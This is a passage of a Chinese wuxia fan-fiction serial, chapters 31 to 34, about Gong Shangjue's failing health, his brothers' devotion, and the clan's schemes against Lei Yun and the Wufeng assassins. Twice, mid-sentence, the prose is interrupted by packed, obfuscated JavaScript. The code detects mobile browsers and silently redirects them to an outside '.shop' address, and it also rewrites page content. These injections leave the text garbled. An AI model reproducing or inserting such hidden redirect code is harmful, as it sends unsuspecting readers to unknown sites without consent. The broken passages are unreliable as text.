雷重昭神色一变:“宫二先生病得这般严重,还敢与我单独相处,真不怕我动手杀你?” 宫尚角稳如磐石,挥手打断宫子羽脱口而出的峻拒,抬手指了指西侧望楼:铁箫先生早已挂在檐角处不省人事,而那支铁箫此刻正在宫岸角手中闪动森然寒光。 “——雷家堡精锐现下都在此处,你杀我,那我们就同归于尽!” 20. 三十一 (三十一) 雷家堡三日前来势汹汹,三日后去也匆匆。 一连数艘货船载着四十一口棺木,自江上顺流而下。宫门画舸改作灵船在前引路,船上素幔倒是十分应景。 所幸天当午时,阳气正盛,羲和冬驭,天官作美,将这寒江照得多了几丛暖意。否则码头上围观众人,少不得沾染一身晦气。 “我到现在才明白,无锋刺杀雷重昭、暗中纵蛊伤人,或许打的是一石二鸟的主意,但角公子这一次才真是一箭三雕的好计策:一则引我上船,坐实寒鸦陆的身份;二则让雷重昭也尝尝遭人算计的滋味,为后续谈和做铺垫;三则借半月之蝇恢复功力,好在大庭广众之下出手,威慑那些蠢蠢欲动的江湖人。”云为衫站在码头边,如是评价。 上官浅黛眉轻挑,语笑嫣然:“不止如此呢。角公子让你我抓人,我倒好说,但以云姐姐的功力竟然擒不住一个寒鸦陆——你猜,角公子现在心里怎么想?” 角公子尚在灵棚中。 雷重昭也未跟随大舸离开,他似乎仍与宫尚角有话要谈。 有宫门下人搬入暖榻炭火,添置风炉茶鍑,尔后仍留在码头上的人只闻那层层白帐中偶尔传出雷大当家的叹词。至于宫尚角说了什么,唯有赶回帐外的宫子羽才能听见。 “……我雷家堡中有人善用蓍草算卦,此番来前,特地占问,得坤下离上,说是晋卦。我是个大老粗,不懂这些,不知宫二先生是否能解?” “坤为地,离为火、为光明,晋卦的卦象是‘明出地上’,意即进取。不过晋卦六爻最上爻,辞曰:‘晋其角,维用伐邑。’意思是已然进至顶点,进无可进,只能攻伐他人城池。” 宫尚角的声音又轻又缓,但徐徐道来,娓娓动听。 “哦?那不知攻伐的结果是吉是凶?” “爻辞中说‘厉吉,无咎,贞吝’。用白话解释,就是过程凶险,结果吉利,并无灾祸;不过兵者凶器,攻伐用武,有违光明正道。” 一阵长久的沉默。不知雷重昭是在思索,还是已然认同宫尚角所说。 “以你的年纪,在刀法上有如此造诣已属难得,没想到竟还有这般学识?这倒是令老夫刮目相看。” “谈不上什么学识,不过是少时在学堂,教习我们五经的那位先生十分严苛,如《易经》这般晦涩枯燥,若背诵不熟、理解不透,都是要挨戒尺的。” 宫子羽听得额角一跳,顿时想起些不大美好的儿时回忆。 他四岁开蒙那年,大一点的孩子刚好在读小经。宫唤羽挨训罚抄,宫紫商逃课跪祠堂,都是他亲眼所见。宫远徵后来者居上,晚些年顶撞先生受罚是常有的事,而宫子羽自己一度更是先生的重点“关照”对象…… 不过,向来是长辈口中谢庭兰玉的角公子,少时也曾挨过板子么? 雷重昭似有所感:“难怪你们这些孩子个个看起来知书达理……除了那个用毒的小子!” 宫尚角低声笑了笑:“舍弟精于医毒暗器,他看的那些书,于我们而言才真是艰涩难懂。只是他涉世未深,思虑不周,当时又捉凶心切。冒犯之处,我代他向雷大当家赔罪。” “他叫宫远徵,怎么会是你的弟弟?” “他的父母死于十四年前与无锋一役。这十四年里,他就是我弟弟。” “……那宫子羽呢?” 宫尚角停顿片刻,顿得让宫子羽心底发慌,然后才听到他说:“宫门血脉,不分彼此。” 雷重昭喟然一叹:“如此,我倒是能理解你为何这般拼命了……不过,你能理解我么?” 宫尚角稍稍沉吟:“宫氏一族人丁不旺,万事皆以血脉为先,培养人才更重质量。但据我所知,雷家堡又是另一种风格。” 宫子羽一时不知他是换了话锋,还是仍在回答对方的问题。 雷重昭却听得明白:“不错,雷家堡可不像宫门,雷家的子弟从十二岁起便是散养。你们还在自家学堂里读书的时候,雷家的孩子们早已在江湖各凭本事生存。但只有混出门道的人,才能得到家族的认可。” 宫子羽记得以前父亲曾评价雷家堡,说他们在某些方面,残忍程度不亚于无锋。当时他不解其意,如今才明白些许。 “正因我们一贯放养,每一个获得长老院认可的雷家子弟都是百里挑一,雷倦更是我雷家堡不世出的继任人选!如今就这么枉死宫门,你教我们如何咽得下这口气!”雷重昭的话音中带着无尽怨怼。 宫尚角不卑不亢、不矜不盈:“宫门答应帮忙查出真相,安抚四十一条亡魂。但无论如何,是雷家侵犯在先,宫门才是整件事中的受害者。雷大当家久居江湖魁首,通达事理,自然看得明白,否则刚刚也不会轻易答应握手言和。” 其实宫子羽对此也有察觉:当时雷重昭在船上骂得虽凶,目光却从始至终透着冷静。人在情绪激动时会气血上涌,脸红耳赤,但雷大当家直到乘舟离开都仍然面色如常。他骂他们,更像是在故意挑衅,观察他们的反应。 宫子羽后来说及此事,宫尚角看上去并不意外,当是早早摸透了对方的秉性。 “我只是要让宫二先生知道,经此一事,雷家堡与无锋势不两立,倘若真是雷陨在背后搞鬼,我雷重昭更与他不共戴天!”雷大当家语声冷峭依然,“但同样,如果宫门有意欺瞒,拿我雷重昭当傻子,你宫尚角便是我雷家堡进取宫门的第一步——要杀现在的你,岂非容易得很?” 宫子羽闻声撩帐而入,雷重昭自席间站起,罔顾他一身戒备:“你以为你能护得住他?我告诉你,是他在舍命保你!” 午时刚过,乌云便遮住白日,平地旋起波澜,搅动江上风云。 雷重昭举目越过江心,朝对岸江门望去:“今年的冬天,真是冷得要命……宫二先生自求多福吧。” * 谯楼挝鼓,乙夜二更。 徵宫前厅中药气蜇鼻,五只药炉同时烧着疾火,宫远徵穿行在水雾缭绕间,耐心调试每只炉子的火候,然后放下蒲扇,将另几幅煎好静置的药汤倒入瓷碗,在案上摆得像是什么五行八卦阵法。 上官家的浩繁医书这十天半月他只来得及翻个大概,对症的解药是不可能有的,可堪一试的药材、投机取巧的偏方、险象环生的劫剂,他少说倒腾了七八十种,却一种也不敢用在宫尚角身上。 于是他到底没太听哥哥的话,净挑些把握不大的急方往自己身上招呼。平日里徵宫下人和医馆大夫不敢多说,今日是沾染了一副抑制呼吸、心跳的方子,又逢雪长老来医馆寻几味药,这才被抓了个现形。 结果是宫尚角从宫门外回来,顾不上自己便冲来了徵宫,看见榻上气息全无的弟弟差点没背过气去。 他的身体哪里遭得住急火攻心,勉强撑到弟弟转醒,终究是晕过去了。好在脉象还算平稳,宫远徴知道哥哥近几日被半月之蝇折磨得几乎没怎么睡,索性将他安置在自己房里,好让他多睡些时辰。 而此刻,宫远徵盯着那些青、赤、黄、白、黑五色俱全的汤药,宫尚角就倚在格扇边,五味杂陈地盯着他。 宫远徵隔了许久才发现宫尚角醒了,“噌”得站起来,一时不知是该立即过去转开哥哥的注意力,还是该留在原地挡一挡这满屋的“罪证”。 半晌,他心虚地笑了笑:“哥饿了吧?我让小厨房温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240037|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着些素食,这就让下人端过来。” “别忙。” 宫尚角走过去,自行在药案后坐下,乌发如瀑般滑过玄色锦缎,左肩上的昙花刺绣在烛照下仿佛闪耀着金色荧火。 那睡袍自然是宫远徵替哥哥换上的。两人身型有差,他们的衣衫又都是量身裁剪,原本不能混穿。可哥哥如今瘦得只剩肩峰处嶙峋凸起的胛骨,这睡袍空荡荡地套在他身上,松垮得令见者心疼。 “跟我说说,这些都是什么?”宫尚角将目光从弟弟发青的面色间移开,低头打量那一碗碗深浅不一、浓稠各异的药汁。 他不疾言遽色,甚至不说重话,却令宫远徵更加不安。 愣了片刻,宫远徵硬着头皮走过去,将案上的药一碗碗指给哥哥:“九脉散,主治胸痹急症;五炁归元膏,调理虚劳,大剂量服用可速缓脏腑衰竭;紫金璇玑露,短时扭转气血逆行;金髓膏,煎服对筋脉弛缓、肢体麻木有强效;鹤唳辟易饮,可解喘逆危象,治咳疾……剩下的还有治内伤发热的,疗头风的,除三痹的……” “……我有这么多病么?”宫尚角听得失笑。 “不是病,是症!这都是哥曾出现过的症状。可是这些药治标不治本,而且只能单症单治。我试了很多种法子拆解重组,但它们彼此配伍相克,无论怎么调配都行不通!”宫远徵说到难处,一掌拍在案上。 “能治一标是一标吧。这里有哪些是我能吃的?” “都不行!这些都是速效烈药,哥的身体受不了的!” “既然我都吃不得,你煎这么多副药,全是给你自己吃的,是么?” 宫远徵终于看清话题走向,即便宫尚角到现在语气还算温和。他不知道宫尚角在他昏迷期间是何模样,只记得醒来时哥哥浑身上下冷得如同雪宫莲池底的千年寒冰。他不是不想辩解,说自己身强体健,说这几味药于他无妨,可他受不了哥哥在他面前倒下去——如果无论如何都要伤到哥哥,他试这些药的意义又是什么呢? 宫尚角看着弟弟抹额宝珠下倒竖的川字、赤红的眼角,到底不忍道出苛责之辞,鬼使神差地说了句:“我最近总在做同一个梦,梦见我母亲。” “哥是不是想她了?……还有朗弟弟。”他听到过哥哥在梦里叫朗弟弟的名字,不止一次。 宫尚角抬起头,墨瞳幽邃,俨然并无被窥破心事的慞惶,更似倾吐心声的释然:“或许是他们想我了罢……” 宫远徵张了张口,万千心绪化作嘴边嗫嚅:“没有时间了,是么……” “我不想死,远徵。”宫尚角轻合双目,将弟弟的倒影裹进眼睛里,“可若要你伤害自己来换,我宁愿死在今日!” 宫远徵自年初知他患病以来第一次听他坦言,却不知该如何回他一声半句:自己不曾再碰宫尚角严词拒绝的玄丹,以为现下已是哥哥所说的最小代价——看来不是。 “在哥哥心里,我比你自己的命还重要么?” “你知道答案,否则试药之事何须瞒我?” 炉中薪尽,炭火将熄,滚水抱着破釜之势,义无反顾地奔涌四溢,在釜盖之下发出爆鸣。 宫尚角静静凝视釜底余烬,顺水推舟地换了话题:“不说这些了。寒鸦陆没抓着,但上官浅应该是成功把毒种在他身上了。你确定能找到他么?” 宫远徵焦头烂额地收拾着残局,但还是认真地答了话:“当然。那可是专为蛊师准备的毒,只要蛊虫还在他身上,他就跑不出旧尘山谷!” “好,明天收网,你陪我去。” “可是哥……我知道了。哥今晚就在徵宫休息吧。我让他们再送点粥来,哥好歹要吃些东西。” 21. 三十二 (三十二) 血。 血自掌心滴落,激扬尘砾,沿着虬根枯草划开一道蜿蜒的红痕。 宫远徵在毒泷恶雾间勉力维持住身形,却无法掩饰越发粗重急促的呼吸。 林中骤然传出一阵桀桀怪笑:“聪明,知道靠放血来保持清醒!但蛊虫能嗅到你身上的血腥气,你越虚弱,它们就越兴奋——再过半刻,我的宝贝们就会侵占你的周身大穴,让你全身经脉寸断。到时候,我先杀了你,再杀他们!” 说话的是寒鸦陆,而“他们”自然是指宫尚角一行人。 宫远徵眼前一片模糊,隐约能看到十步之外的几颗冷杉树后有人影在晃动,但他瞧不真切。林中响起角宫的特殊暗号,他知道哥哥在问他,是否需要马上救援。 此地已是旧尘山谷边缘,今晨他独自追踪寒鸦陆到此,本以为能一举将人擒获,不料反中了对方的陷阱。这盘根错节的深山老林间瘴气浓重,又无法骑马乘舆,他未发响箭,本意就是不想哥哥跟来。但宫尚角就是宫尚角,找到这里的速度远比他想得更快。 “哥别过来,蛊虫危险!”宫远徵的声音因蛊虫啮噬而颤抖,语气却很决绝,“那家伙中毒已深,撑不了多久的!” 寒鸦陆的声音仍自渺远中传来,山谷间层层回荡着他的冷笑:“宫尚角,你要赌一把么?看看是你弟弟先死,还是我寒鸦陆命硬!” 宫岸角听不见他们在说什么,只看到负责瞭望的侍卫迅速打出手势:【西北方,五十丈,人在树上。】 角宫精锐们早已配合默契,按理说宫岸角此刻已该带人冲出去,但这一次,他们仍旧望向自家的主事人—— 宫尚角的状态实在不好,能赶到此处已是勉强,若非金复在旁紧紧搀扶,那薄得像张纸片的人眼看又要倒下去。 然而见宫岸角目光游移,角公子马上凛然发出指令:“快去,远徵有危险!” 后者这才不再犹豫,与几个侍卫掉头朝西北方向疾速略去。 “怎么样?蚀骨灼心之痛可还好受?” “人都说宫尚角的弱点是宫远徵,可我看你哥哥也不怎么关心你嘛!否则怎么眼睁睁看你在这里受苦,自己却当缩头乌龟?” “都不说话?好哇,我倒要看看你们能坚持多久!” 寒鸦陆明显是在激将,宫远徵咬着牙不吭声,背上的冷汗在天寒地冻中化作刺骨冰渣,与奇经八脉中的灼烧之痛形成内外冰火两重煎熬。 宫尚角何尝不知弟弟也在强撑,转头低声交代金复:“寒鸦陆急了,我去拖些时间。你往林子边缘撤,放响箭!” “公子!……”金复知道宫尚角不想让他们沾染蛊虫,因而做好了自投罗网的打算,他有心劝阻,却又知道公子无论如何也不会听他的。 “——你帮不上忙,别在这里碍事!” 宫尚角果然强行抽出手,在金复背上猛推了一把,自身失去凭恃,急退半步,撞上粗糙纵裂的冷杉树干,嘴角顿时渗出一丝血迹。 金复大惊失色,知道宫尚角打定主意的事从来不可违逆,更怕拉扯之际再伤到他,只好道了一声“公子小心”,便急匆匆往来时的路去。 宫尚角待他走远,这才自冷杉树后孑然现身,宫远徵身上的蛊虫在察觉到他的第一刻朝他蜂拥过去。 宫远徵急匆匆拦住哥哥濒临下坠的身体,却听见他轻笑:“果然是这样,蛊虫只会攻击在场最虚弱的人。” 模糊的视线在渐渐复原,宫远徵终于看清宫尚角浮现死灰的面色,语声中又带出哽咽:“不是让哥别过来……” 蛊虫攻势凶猛,宫尚角呼吸不畅地呕出一大口血,但仍然伸出颤抖的手安抚地拍了拍弟弟僵硬回护的手臂:“我本就毒入肺腑……还怕……这点蛊虫么……” “兄弟情深,还真是兄弟情深呢!”寒鸦陆渺远的声音透着阴森诡谲,“可惜,换了你只会死得更快!你们以为几日前那蛊是白下的么?” 宫远徵当然知道春见蛊不仅可以唤醒虫卵,还会让附近所有的蝇虫更加活跃,所以他才提醒哥哥蛊虫危险。 宫尚角自然也听懂了提示,可即便明知弟弟刚刚才承受过的痛楚要在他身上加倍肆虐,也没能阻止他毅然决然地现身走出来。 ——他本就无力抵御林中瘴气,刚刚奔走寻人又已耗尽所剩不多的气力,索性将蛊毒换到自己身上,好让远徵尽快恢复行动能力。 近处再度响起哨音,是角宫的侍卫在提醒他们,林中还有陷阱。 响箭不约而同从远方传来,算算时间,应当不是金复,而是宫子羽他们抢先得了消息,正向这边赶来。 宫尚角已几乎说不出话,身体不可抑制地滑落尘埃,宫远徴跪在地上接住他,听到他自紧锁的牙关间挤出两个虚无缥缈的字来:“机关……” 宫远徴明白宫尚角是让他去破除机关陷阱,免得后面的人再踩上,可他说什么也不能在这个时候撇下哥哥一个人:“有金复引路,哥别担心!” 眼前像是蒙着一团雾气,就连听觉也变得不甚灵敏,宫尚角在五内俱焚中发着抖,感觉到弟弟用冰凉的手将一颗药丸推进他嘴里,在他耳际轻声安抚:“哥先睡一会儿,睡一会儿就好……” 可是宫岸角拿下寒鸦陆了么?他们有没有危险?宫子羽与金复碰上面了么?这附近还有没有别的埋伏?寒鸦陆一个人不可能布置这么多陷阱,他的帮手在哪里?云为衫一直有人盯着,她应该没有这个机会。难道说…… 浓雾冲破七窍,向脑海深处蔓延,宫尚角在即将溃散的意识中不甘心地挽留着最后一丝神志:远徵这小子,真是越来越不听话了…… 待到他再醒来,四周一片沉寂。 蛊虫的侵袭似乎已被压制下去,有人在为他缓缓输送着内力,宫尚角自一片混沌中辨别出宫子羽的声音:“醒了!可算是醒了!……你若是再醒不过来,远徵弟弟可真要服毒自戕了!” 宫子羽原是说笑,宫尚角却蓦然整个人一僵,一时内力走岔了气,剧烈咳嗽起来。 “宫子羽!”宫远徵连忙上前为哥哥顺气把脉,知他无恙,这才将宫子羽一把推开,“你再胡说八道,我就把你毒哑,让宫岸角陪你好好练练手语!” 宫尚角好容易止住咳嗽,有人无声递了水壶过来。水被人用内力加 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“……不过哥放心,等我回去配几味药,把体内的蛊虫驱散就没事了。”他一边温声安慰,一边调整姿势,似乎仍在犹豫是将哥哥搀起来,还是直接背起他。 宫子羽却抢先一步,在轮囷盘绕的根柢间蹲下身:“远徵弟弟也刚中过蛊,我来背吧!” 宫尚角想要拒绝,却知道以自己现在的状态,无论如何也走不出这片瘴气缭绕的密林。 宫子羽立即知晓角公子在介意什么,于是福至心灵地补叙:“我让金繁带着你的侍卫先走了,这里只有我、岸角和远徵弟弟。” “金复和马车就在林外,哥……” 听着耳畔弟弟近乎哀求的语声,宫尚角既觉感动,又觉无奈,终究将自己的手臂伸了过去:“我是看不清,又不是不识好歹……” 山路崎岖坎坷,可宫尚角几乎感觉不出任何颠簸。 宫子羽不敢走得太快,只觉自己背的不是一个身量颀长的成年男子,而是一把快要散架的白骨。 背上的人对此并无知觉,在他耳边轻声问:“你是怎么找来的?” 宫子羽勉力不将悲色带入话音:“我问了你的侍卫,知道大致方向,然后一路跟着你们的标记。” “角宫的标记一般都做得十分隐秘,你知道在哪里寻?” “……我好歹当过几天执刃,尚角哥哥对我这么没有信心?” 宫尚角不再答话,默默转开话题:“远徵,以后切不可再如此冲动。这次还有我在,可是下一次……” “哥!”宫远徵扬声打断他的话,黯然欲泣地凝视着那双失神的眼睛,“是哥哥太舍不得我受伤了!可我明明身强体健,又熟知毒性,我说寒鸦陆撑不了多久他就撑不了多久,哥为什么就不相信我呢?” “……” 弟弟们的话让宫尚角一时百感交集,忽然意识到他们或许都已成长,只有他即将止步于斯。 时近寒冬腊月,深林哈气成冰,不闻鸟兽声迹。他耳目不灵,不识方向,不辨东西,但弟弟们终究不肯将他留在原地。 宫尚角长叹了口气:“是我的问题……抱歉,让你们担心了。” 22. 三十三·三十四 (三十三) “不要投鼠忌器!” 这是宫尚角近日来说得最多的一句话。尤其是在他耳目不便又遭夜袭,被宫唤羽掐着脖子逼问下半部无量流火下落之际。 虽说是诱敌上钩的计策;是上官浅察觉寒鸦陆调虎离山,实则有人潜入角宫盗取密文;是宫岚角追踪雷陨下落,在旧尘山谷外联络到久失音讯的宫唤羽;是宫尚角与宫唤羽联手做局,演给雷陨派来的细作看……但毕竟是假戏真做,宫门众人无不为之捏一把汗。 细作终于消失在夹道尽头的暗门之后,宫唤羽迅速撤手,仿佛也生怕宫尚角在他手下彻底殒命。然后他眼睁睁看着人群自四面八方奔来,纷纷要上手扶住那分明脆弱得不堪一击,却硬生生撑到最后一刻的人—— 宫尚角从始至终一声未吭,直至听到弟弟在近处呼唤,才终究蜷曲下身体,捂住受伤的喉咙,咳得昏天黑地。 饶是宫唤羽这般铁石心肠,见此情景也很难不动容:“我自认是个狠人,可你比我更狠。早知道你这么不想要命,我倒不如干脆掐死你,去向雷陨邀功!” “别拿你跟我哥相提并论!哥哥从来都是牺牲自己,只有你这种心术不正之人才总想着害人!”宫远徵忙着为哥哥抚背顺气,瞪向宫唤羽的眼中冒出火星。 “金繁,愣着干什么,赶紧让他们把软轿抬来!” 宫唤羽循声望去,眼前的宫子羽恨不得比宫远徵还要着急。曾几何时他也十分疼爱这个弟弟,不止是为了讨得老执刃的欢心,而今宫子羽的敬重和亲密统统与他失之交臂,到底是四年的囹圄时光太过漫长,还是宫尚角这人有何魔力? “子羽,你有没有想过,他真的快不行了?”看着鲜血自宫尚角掩口的指缝间汩汩涌出,宫唤羽两眼发直,瞳中除了阴骘,多少带点惋惜,“你太依赖他了——你们都太依赖他了!这样下去,等到他的血流尽,宫门也就完了!” 软轿已到跟前,众人七手八脚地把人扶上去,宫子羽目光始终追随着那个祜蓝色的身影,语声中带着不多见的冷厉:“有月长老和远徵弟弟在,尚角哥哥的身体不需要你来操心。如果你真的担心宫门,就配合我们除掉雷陨,歼灭无锋!” 当夜为免耽搁太久惹人怀疑,宫唤羽离开得十分匆忙。不过他的话,在场众人多多少少还是听了进去。 所以那日之后宫尚角最常说的第二句话是:“去做你们自己的事,别总围着我转!” 第三句:“嘀咕什么呢,要留下就过来说!” 他仍像个没事人一样打理着角宫的生意往来、江湖事务,看不见文书上的蝇头小字就让别人念给他听,听不清别人在说什么就让人家走到他跟前来重复一遍。他适应得很快,他手底下做事的人适应得也很快。可是无论如何,身体不会骗人。 ——若非虚弱到连驱散蛊虫的药都受不住,他何至于恢复得这般缓慢? 好在宫尚角没再拒绝宫子羽重操旧业,后者趁机将执刃的繁重庶务一概揽回自己的身上。而宫远徵却被勒令跟着宫岚角出谷几日,去江湖中见见世面,顺便散布些宫唤羽与雷陨暗通款曲、企图刺杀宫门代理执刃的消息。 天入腊月后,几轮寒风过境,角宫庭院中的池水彻底封冻,月桂树凋零得不剩几片残叶。 角宫的主人已有很多天没再出过门。 “岚角收到了宫唤羽的回信,说他已取得雷陨的信任,一切按计划进行。”宫子羽从宫岸角手里接过密报,将上面的内容大声念给宫尚角听。 “宫唤羽不可尽信。比起对付雷陨,他更想要无量流火,如果被雷陨觉察,他随时都有可能倒戈。”宫尚角边说边浅啜了一口茶,他眼前仍是些模糊不清的色块,所幸还能分辨黑檀茶盘中的青色茶盏。 “还有一点,别忘了雷家专精火器,即便密文晦涩难解,也骗不了他们几时。”说话的是宫紫商,细作带走的假无量流火图纸就是出自她的手笔。 她这几日来角宫也来得愈发勤快,有时还带着宫锦商一起——别问,问就是她爹又闹脾气了,她娘俩过来“避难”。 此时,宫锦商就在宫尚角身边的靠垫上睡着,安静地像只小猫。这小丫头平日里总有使不完的精力,倒是每每来到二舅舅这里就变得格外消停。他们怕宫尚角听不清,说话间都特意放大了些音量,小家伙倒也丝毫不嫌吵闹。 宫尚角感知到小锦商在睡梦中缩成一团,干脆将自己的手炉推进她怀里。她直到现在仍枕着宫尚角的半截手臂,金繁几次想将孩子抱走,都被角公子一口回绝。对此,她爹娘既乐见其成,又对使唤病人帮他们照看孩子这事感到十分昧心。 “没茶了,我去添。”金繁迅速从宫尚角手里接下茶盏。 为了宫尚角行动方便,角宫主室内的陈设全部精简,不仅茶炉被搬动到角落,就连墨池中的水也暂时性地排干了。这下倒是不愁这些整日赖在角宫不走的人无处落脚。 宫子羽注定是没这个孩子缘,早就放弃徒劳地挣扎,只期盼在其他方面能变得更“有用”些。 他现学现卖,将前几日从雷重昭那里听来的话转述出来:“雷家人从小就是散养,应该并不是所有人都精于机关火器。雷陨本人更擅长经商,我翻过长老院万象阁里近十几年的角宫卷宗,这些年在江湖中抢宫门生意,多半是他的手笔。从这次帮寒鸦陆布置机关陷阱也能看出,他手底下似是没什么像样的火器机关高手。” 宫尚角有些欣慰地笑了笑,接着却又摇摇头:“雷陨是我的老对手了,火器机关的确不是他的长处,笼络人心却是。雷家堡中支持他的人并不少,其中不乏高手,这不是他们不动火器的理由。” 宫子羽怔了怔:“那是为什么?因为他们本就没想救寒鸦陆?” “寒鸦陆已是无锋弃子,自然不重要。雷陨应是打算暗中窃取无量流火图纸,并不想太早暴露身份,所以故意没有动用火器。”上官浅的声音传自屋外,她稍稍用了些内力,好让宫尚角也能听清,“角公子与宫唤羽这一步,就是要将他们逼到明面上来,这样才对宫门更有利。” 她推门进来,见宫子羽、宫紫商、金繁俱是一脸凝重,抿嘴轻笑起来:“你们别紧张,我只是来送些补气养血的药粥:用新下的紫皮甘蔗捣绞成汁,与高粱米一同熬制,另加党参、炙黄芪、山药、红枣、首乌。” 她将配方做法一一报出,见仍未完全消除三人的疑虑,又道:“我那日对寒鸦陆出手,便是已向无锋表明了态度。眼下无锋未除,你们又不信任我,角公子若是不在了,还有谁能保得了我?” 她新点了一只风炉,将砂锅置于炉上温着,起身打算离开,却听角公子在身后叫住她:“既然进来了,就说说你的想法。你去过雷家堡,也见过雷陨,以你之见,此计是否可行?” 上官浅顿住步子,眉目舒展,竟带着一丝释然:“雷陨此刻急于求成,暂时不会怀疑密文有问题……但宫唤羽的确是个大患,要确保万无一失,就不能单靠他一个人。” 宫尚角点点头:“子羽,回信吧。” 宫子羽又是一愣:“回什么?” “回什么,你自己拿主意——岚角和远徵还在盯着雷陨,想让他们做什么,或是需要安排其他人手,这执刃手令发出来,自然所有人都会配合你。”角公子说着,将一枚精巧别致的金玉印信轻轻放在案上。 这传讯专用的执刃印信宫子羽用了四年,当然不陌生,但这一刻,他却在犹豫。 “收着吧。如果你不想我死得太快。”宫尚角用最平淡的语气道出威胁之词。 宫子羽瞬也不瞬地盯着宫尚角:他颈间还残留着宫唤羽那日掐出的红印,说话时嗓子仍有些费力。当时他咳得那般厉害,难道说宫唤羽的话还是被他听了去?…… 宫紫商在旁挤眉弄眼地拱了拱宫子羽:“让你拿着你就拿着!帮你担了这么久的执刃重担,你就不能让你哥歇两天吗?” 该递的台阶都已递尽,这原本就是他的责任,宫子羽明白此时已容不得自己继续怠惰推脱:“好,那我先保管,这样处理日常事务也更方便些。” “喝粥吧。”宫紫商呼出口气,坐直身子,抬起一双狭长却明亮的眼睛,“金繁,我饿了,给我也盛一碗来!” “……这是药,你怎么那么馋呢?” “要你管!” “……少喝两口,等下要流鼻血了!” “呸呸呸,闭上你的乌鸦嘴!” 粥碗洁白如玉,香甜的甘蔗粥宛若粒粒剔透莹润的水晶,宫子羽眼疾手快地挑出碗中的白色小勺,递进宫尚角手里。 宫尚角慢条斯理地搅着粥,忽又补上一句:“不过,还是那句话,不要投鼠忌器!需要我做什么就说,我没那么不堪一击。” · · · (三十四) 十二月初六,《江湖快报》载:雷家堡大当家雷重昭联手宫门徵宫宫主宫远徵、角宫新秀宫岚角,于白帝城平定雷家内乱,斩杀叛逆三十余人。原雷家堡二当家雷陨负伤遁逃,不知所踪。 初八腊日,旧尘山谷雪虐风饕、折胶堕指,宫子羽手握密报犹豫许久,终究还是决定去角宫走一趟。 宫尚角看着两个模糊的身影裹挟风雪进门,等到人都快被屋内火笼蒸透了,却仍站在门口默不作声,干脆道:“你们若实在没事做就去商宫,老宫主说新火器有了突破,非要我去提什么修改意见……” 宫子羽顿然有种鬼祟行径被揭穿的局促,又拿不准宫尚角到底恢复了多少,只好迅速掀了氅衣走到茶案边,替他和自己斟了新茶。 金繁也赶忙近前为他老丈人解释:“老爷子主要是为见你。紫商说,自从那日之后,他隔三岔五便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240039|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会问起角公子……” “问我死没死,是吧?”角公子勾着唇角抢白。 他的心情似乎不错,这几日放手诸事闭门静养,气色总算比稍前好看了些。 “其实那老爷子也是好意,他是真怕你出事——毕竟我们这些人在他眼里都是废物。”宫子羽嘟囔着坐下来,顺手将密信转递给对面的宫岸角。 宫岸角瞠目看完他姐姐的手书,在角公子身侧打了手势:【要说吗?】 宫子羽无声询问:【他的身体……?】 宫岸角即刻摇摇头。 “我是看不清楚,不是瞎了!”宫尚角当然知道两人在他面前明目张胆地交涉,指节在桌上不满地叩了叩,“你若再不说事,我就要请你出去了!” 宫子羽只好尴尬地清清嗓子,大略交代了他们这些日来如何与雷重昭谋划定计,如何鞭策宫唤羽里应外合,雷陨如何露出马脚,宫远徵和宫岚角又如何一举收网。 宫尚角摩挲着花口茶瓯上的棱纹,对此结果既不置评,也不动容。 沉默得久了,宫子羽便也明白宫尚角在等他从两日前的消息讲到今日,可他无论如何也没敢吐口,愣怔半晌,仍是转言道:“雷陨失势之后无非两种选择:一则投靠无锋寻求庇护,二则还是无量流火。你猜他会怎么选?” 角公子如何不清楚宫子羽这点转移话题的伎俩,碍于在谈正事,耐着性子答他:“雷陨若脑子还清楚,就该知道投靠无锋的下场便是第二个寒鸦陆。照你方才所说,他还没有察觉图纸有问题,那么想要卷土重来,尽快造出无量流火便是他唯一的指望。” 自己的想法得到确认,宫子羽顺理成章地接下去:“制作无量流火非陨铁不可,宫门后山禁地是他们最有可能的目标。前有雷倦夜袭宫门殒命,后有寒鸦陆布置陷阱害人,这一次,该轮到我们找雷陨算总账了!” “陨铁藏匿深山,一直是花宫派人驻守。你既然已有筹划,眼下不去花宫布置,还来我这里……”宫尚角语中一顿,恍然失笑,“你该不会是怕挨花长老的骂吧?” 宫子羽眼观鼻、鼻观心地承认:“我已找过花公子,但他也不敢擅自拿主意。四年前与无锋之战对花氏一族打击很大,陨铁更是花宫命脉,万一再有闪失……” 宫尚角面色稍沉,露出几分不悦:“宫唤羽应该仍跟着雷陨,无论出于何种目的,必定会极力劝说雷陨赶制无量流火。他做少主多年,对后山禁地比你我都要熟悉,若不严阵以待,那出现闪失便是百分之百,而不是万分之一!” 言至末尾,话音愈疾。 宫子羽知道自己的优柔寡断始终令对方不满,可他做不到像角公子那般雷厉风行,心中存有太多顾忌:“这也是我最担心的问题!雷陨或许还被蒙在鼓里,宫唤羽却很清楚,如果不拿到真正的密文,即便陨铁到手也毫无用处。上回他已将角宫布防、你的情况都摸得一清二楚,我是怕这一次他会直接冲着你来!” 宫尚角神色一动,随即半是打趣半是挖苦:“所以你是后悔把密文交给我,还是在怪我前次行事太过草率?” 宫子羽愁容满面,直接无视了他的揶揄:“宫唤羽为了无量流火,什么事都做得出来。四年前他杀了我爹,如今宫门不能再死一个执刃!” “——宫子羽,不要再叫我执刃了!” 